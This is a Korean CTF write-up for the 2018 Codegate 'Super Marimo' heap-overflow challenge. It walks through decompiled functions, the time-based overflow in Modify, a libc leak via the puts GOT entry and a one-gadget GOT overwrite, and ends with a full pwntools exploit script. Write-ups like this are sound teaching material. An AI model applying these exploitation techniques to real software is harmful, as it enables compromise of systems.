2018 Codegate Super Marimo
64bit heap overflow 문제다. 변수랑 함수 이름은 내가 수정해놨다.
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
이 프로그램에서 hidden function이 존재했다.
signed __int64 __fastcall vuln(const char *a1)
{
void *v1; // ST18_8
if ( strcmp(a1, "show me the marimo") )
return 0LL;
v1 = malloc(24uLL);
sub_400EED(v1, 1u, 5u);
Marimo[Marimo_cnt++] = v1;
return 1LL;
}
여기서 보면 show me the marimo라는 글자랑 같으면 Marimo를 생성해줄 수 있다.
또 다른 곳에서 만들 수 있긴한데 돈이 필요하다고 떠서 그냥 호출하는 함수는 똑같다.
_BYTE *__fastcall sub_400EED(struct marimo *a1, unsigned int a2, unsigned int a3)
{
unsigned __int64 v3; // ST00_8
int v4; // ST04_4
v3 = __PAIR__(a2, a3);
*&a1->birth = time(0LL);
*&a1[1].name = a2;
*&a1[2].profile = malloc(16uLL);
puts("What's your new marimo's name? (0x10)");
printf(">> ", v3);
fflush(stdout);
__isoc99_scanf("%16s", *&a1[2].profile);
*&a1[5].name = malloc(32 * v4);
printf("write %s's profile. (0x%X)\n", *&a1[2].profile, (32 * v4));
fflush(stdout);
printf(">> ");
fflush(stdout);
return sub_400FF9(*&a1[5].name, 32 * v4);
}
이런식으로 구조체 변수에 넣어서 Marimo를 만들어준다.
보기 쉽게 구조체는 이런식으로 만들어줬다.
취약점은 여기서 터진다.
unsigned __int64 __fastcall Modify(struct marimo *a1)
{
unsigned int v1; // ST18_4
unsigned int v3; // [rsp+1Ch] [rbp-24h]
char v4; // [rsp+20h] [rbp-20h]
unsigned __int64 v5; // [rsp+38h] [rbp-8h]
v5 = __readfsqword(0x28u);
puts(&byte_4014F4);
printf("birth : %d\n", *&a1->birth);
v1 = time(0LL);
printf("current time : %d\n", v1);
v3 = v1 + *&a1[1].name - *&a1->birth;
printf("size : %d\n", v3);
printf("price : %d\n", 5 * v3);
printf("name : %s\n", *&a1[2].profile);
printf("profile : %s\n", *&a1[5].name);
puts(&byte_4014F4);
puts("[M]odify / [B]ack ?");
printf(">> ");
fflush(stdout);
__isoc99_scanf("%19s", &v4);
if ( v4 == 'M' )
{
puts("Give me new profile");
printf(">> ", &v4);
fflush(stdout);
sub_400FF9(*&a1[5].name, 32 * v3); // vuln
Modify(a1);
}
return __readfsqword(0x28u) ^ v5;
}
32 * 흐른 시간만큼의 크기로 수정해줄 수 있다. 그래서 여기서 흐른시간을 늘려서 Overflow 일으켜서 함수 포인터를 바꿀 수 있다.
payload : buf[56] + puts_got(profile) + puts_got(name)
Marimo를 두개 만들어서 첫 번째 Marimo를 오버플로우나게 해서 puts_got를 Marimo의 name값을 가르키는 포인터에 넣고 view해주면 leak해줄 수 있어서 립씨 베이스를 구할 수 있다.
libc leak해줬으면 oneshot을 이용해서 modify해서 Marimo의 profile을 가르키는 포인터에 oneshot 주소를 구해서 got overwrite 해주면 된다. sub_400FF9
함수에 의해서 개행전까지 입력받을 수 있다.
‘A’를 40개 입력했을 때 이런식으로 되는데 0x15e015000
을 덮지 않고 0xc5c4c0
을 바꿔줘야한다. 덮으면 나중에 수정부분에서 입력을 안 받고 프로그램이 꺼진다.
exploit.py
from pwn import *
# context.log_level = 'debug'
context.arch = 'amd64'
p = process('./marimo')
e = ELF('./marimo')
libc = e.libc
def vuln(name,profile):
p.sendlineafter('>> ','show me the marimo')
p.sendlineafter('>> ',name)
p.sendlineafter('>> ',profile)
def view(index):
p.sendlineafter('>> ','V')
p.sendlineafter('>> ',str(index))
def modify(profile):
p.sendlineafter('>> ','M')
p.sendlineafter('>> ',profile)
p.sendlineafter('>> ','B')
vuln('AAAA','BBBB')
vuln('CCCC','DDDD')
sleep(3)
payload = 'A'*48
payload += p64(0x15e015000)
payload += p64(e.got['puts']) # name
payload += p64(e.got['puts']) # profile
view(0)
modify(payload)
#raw_input()
view(1)
p.recvuntil('name : ')
libc_base = u64(p.recvuntil('\x7f').ljust(8,'\x00')) - libc.symbols['puts']
log.info('libc_base : ' + hex(libc_base))
p.sendlineafter('>> ','M')
p.sendlineafter('>> ',p64(libc_base + 0x45216)) # puts overwrite
p.interactive()